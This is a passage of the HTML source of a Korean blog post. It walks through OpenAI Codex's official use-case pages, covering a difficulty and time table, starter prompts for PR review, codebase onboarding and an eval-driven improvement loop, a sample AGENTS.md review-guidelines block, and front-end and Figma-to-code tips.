&lt;p data-ke-size=&quot;size16&quot;&gt;제목만 보면 그 반응이 맞다. &quot;PR 리뷰&quot;, &quot;데이터 분석&quot;이라는 이름만 놓고 보면 2023년부터 봐온 내용과 다를 게 없어 보인다. 각 페이지를 직접 열어봐야 다르다는 걸 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;① 검증된 스타터 프롬프트가 공개됐다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 유즈케이스에는 &lt;b&gt;바로 복사해서 쓸 수 있는 스타터 프롬프트&lt;/b&gt;가 있다. &quot;Iterate on difficult problems&quot; 페이지의 프롬프트는 eval-driven improvement loop를 구현하는 300자 짜리 구조화된 명령어다. 이걸 처음부터 직접 짜려면 꽤 오래 걸린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;② AGENTS.md 시스템의 실전 예시가 담겨 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 저장소의 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;AGENTS.md&lt;/code&gt; 파일을 읽고 행동 지침으로 삼는다. PR 리뷰 유즈케이스는 &quot;P0 이슈로 오탈자를 플래그하라&quot;는 구체적인 지시 예시를 보여준다. AGENTS.md를 어떻게 쓰느냐가 Codex 결과물 품질을 직접 결정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;③ 스킬/플러그인 생태계의 공식 로드맵이다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 유즈케이스에는 함께 사용하는 공식 스킬이 명시된다: $playwright-interactive, Figma MCP, $imagegen, $openai-docs 등. 이 목록은 OpenAI가 공식 문서에서 각 유즈케이스와 함께 명시한 스킬/플러그인들이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정리:&lt;/b&gt; 각 페이지 안에는 난이도 표시, 소요 시간, 실전 프롬프트, 관련 스킬이 들어 있다. 일부 페이지에는 AGENTS.md 예시도 포함된다. 제목만 봤을 때와 실제로 들어갔을 때 느낌이 다르다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 3 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;map&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 12가지 유즈케이스 전체 지도&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 페이지의 12가지 유즈케이스를 난이도&amp;middot;소요 시간&amp;middot;카테고리 기준으로 정리하면 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/use-cases&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;유즈케이스&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;난이도&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;소요 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #fffbf0;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 2px 6px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR 자동 리뷰&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 2px 6px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/frontend-designs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;반응형 프론트엔드 디자인&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Front-end, Design&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/datasets-and-reports&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;데이터셋 분석 및 리포트&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Data, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT 앱 만들기&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/native-ios-macos-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;iOS / macOS 앱 빌드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Mobile, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/browser-games&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;브라우저 게임 만들기&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;장시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/generate-slide-decks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;슬라이드 덱 자동 생성&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Data, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;30분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;어려운 문제 반복 풀기&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #f8d7da; color: #721c24; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Advanced&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;장시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Slack 코딩 태스크&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Integrations, Automation&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma 디자인 &amp;rarr; 코드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Front-end, Design&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;대형 코드베이스 이해&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Analysis&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #d4edda; color: #155724; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Easy&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;5분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/use-cases/api-integration-migrations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;API 인테그레이션 업그레이드&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Engineering, Code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;&lt;span style=&quot;background: #fff3cd; color: #856404; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;Intermediate&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0; text-align: center;&quot;&gt;1시간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #0066cc; color: #fff; padding: 1px 5px; border-radius: 4px; font-size: 11px;&quot;&gt;추천&lt;/span&gt; = Featured (OpenAI 추천). 출처: &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/use-cases&lt;/a&gt;, 2026-03-30 기준&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 종합: Easy 4개(PR 리뷰 5초, 코드베이스 이해 5분, Slack 5분, 슬라이드 덱 30분)가 진입 장벽이 가장 낮다. Advanced 3개(ChatGPT 앱, iOS 앱, 어려운 문제 반복)는 특정 플랫폼 또는 긴 세션 경험이 필요하다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 4 ===== --&gt;
&lt;h2 id=&quot;engineering&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Engineering 심층: PR 리뷰 &amp;middot; 코드베이스 이해 &amp;middot; 어려운 문제 반복&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. PR 자동 리뷰 (Easy / 5초)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 빠르게 팀에 도입할 수 있는 유즈케이스다. GitHub 통합 설정 후 모든 PR에 자동 리뷰를 켜거나, PR 댓글에 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@codex review&lt;/code&gt;를 입력하는 방식으로 사용한다. Codex가 이슈를 발견하면 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;@codex fix it&lt;/code&gt;으로 클라우드 태스크를 시작해 수정도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@codex review for security regressions, missing tests, and risky behavior changes.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 리뷰 지침을 추가하면 Codex가 해당 기준으로 일관되게 검토한다. Codex는 &lt;b&gt;가장 가까운 AGENTS.md를 각 변경 파일에 적용&lt;/b&gt;하므로, 패키지별로 더 세밀한 지침을 배치할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;## Review guidelines

- Flag typos and grammar issues as P0 issues.
- Flag potential missing documentation as P1 issues.
- Flag missing tests as P1 issues.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. 대형 코드베이스 이해 (Easy / 5분)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 저장소에 합류했거나 익숙하지 않은 기능을 수정해야 할 때 가장 먼저 사용할 수 있는 유즈케이스다. 요청 흐름을 추적하고, 모듈 오너십을 파악하며, 수정 전에 확인해야 할 파일 목록을 받을 수 있다.&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Explain how the request flows through &amp;lt;name of the system area&amp;gt; in the codebase.
Include: which modules own what, where data is validated, and the top gotchas
to watch for before making changes. End with the files I should read next.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기 설명 이후 다음과 같은 후속 질문으로 이해를 깊어갈 수 있다: &quot;어느 모듈이 비즈니스 로직을 담당하고 어느 쪽이 트랜스포트/UI 레이어인가?&quot;, &quot;검증 로직은 어디에 있고 어떤 전제를 강제하는가?&quot;, &quot;변경 후 실행해야 할 테스트는 무엇인가?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. 어려운 문제 반복 풀기 (Advanced / 장시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수로 측정 가능한 반복 개선이 필요한 문제에 특화된 유즈케이스다. 결정론적 체크(스크립트 점수)와 LLM-as-a-judge 평가를 결합해 목표 점수에 도달할 때까지 Codex가 자율적으로 반복한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에서 설명하는 핵심 원칙은 다음과 같다: 반복마다 하나의 집중된 변경만 수행하고, 모든 반복을 로그로 기록하며, 점수뿐 아니라 생성된 아티팩트를 직접 확인한다. 목표 점수(예: overall 90%, LLM judge 평균 90%)를 명시해야 Codex가 언제 멈출지를 안다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: 600; margin: 16px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 스타터 프롬프트 (공식 페이지 원문):&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; white-space: pre-wrap; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;I have a difficult task in this workspace and I want you to run it as an
eval-driven improvement loop.

Before changing anything:
- Read `AGENTS.md`.
- Find the script or command that scores the current output.

Iteration loop:
- Make one focused improvement at a time.
- Re-run the eval command after each meaningful change.
- Log the scores and what changed.
- Inspect generated artifacts directly. If the output is visual, use `view_image`.
- Keep going until both the overall score and the LLM average are above 90%.

Constraints:
- Do not stop at the first acceptable result.
- Do not revert to an earlier version unless the new result is clearly worse in scores or artifacts.
- If the eval improves but is still below target, explain the bottleneck and continue.

Output:
- current best scores
- log of major iterations
- remaining risks or weak spots&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 이 유즈케이스는 &quot;long-running&quot; 세션이다. 작업이 몇 시간 이상 걸릴 수 있으며, 평가 스크립트가 사전에 준비되어 있어야 한다. 평가 스크립트 없이 사용하면 개선 방향을 알 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 5 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;frontend&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. Front-end 심층: 반응형 디자인 &amp;middot; Figma&amp;rarr;코드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;5-1. 반응형 프론트엔드 디자인 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크린샷이나 디자인 브리프를 제공하면 Codex가 저장소의 기존 디자인 시스템과 컴포넌트를 활용해 반응형 UI를 구현한다. 핵심 검증 도구는 &lt;b&gt;$playwright-interactive&lt;/b&gt; &amp;mdash; 실제 브라우저에서 구현 결과와 레퍼런스를 비교하며 반복 개선한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서가 강조하는 5가지 팁:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;구체적으로 지시하라&lt;/b&gt;: 인터랙션 패턴과 스타일에 대한 높은 구체성이 더 나은 결과를 낸다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;품질 높은 레퍼런스&lt;/b&gt;: 데스크톱, 모바일, 호버, 로딩 등 여러 상태의 스크린샷을 제공하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;디자인 시스템 먼저&lt;/b&gt;: 프리미티브, 토큰, 정식 패턴을 명시적으로 문서화하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Playwright 활용&lt;/b&gt;: 다양한 화면 크기에서 브라우저 비교로 반복 개선하라.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;반복을 예상하라&lt;/b&gt;: 복잡한 레이아웃은 보통 여러 조정 라운드가 필요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;5-2. Figma 디자인 &amp;rarr; 코드 (Intermediate / 1시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Figma MCP를 통해 디자인 컨텍스트를 직접 가져와 코드로 변환하는 유즈케이스다. 단순히 비주얼을 복사하는 것이 아니라 저장소의 기존 컴포넌트 레이어와 토큰을 존중한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 워크플로우는 &lt;b&gt;정확한 프레임/컴포넌트 링크 제공 &amp;rarr; &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;get_design_context&lt;/code&gt; 실행 &amp;rarr; &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;get_screenshot&lt;/code&gt;으로 레퍼런스 확보 &amp;rarr; 저장소 패턴으로 번역 &amp;rarr; Playwright로 검증&lt;/b&gt; 순서다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
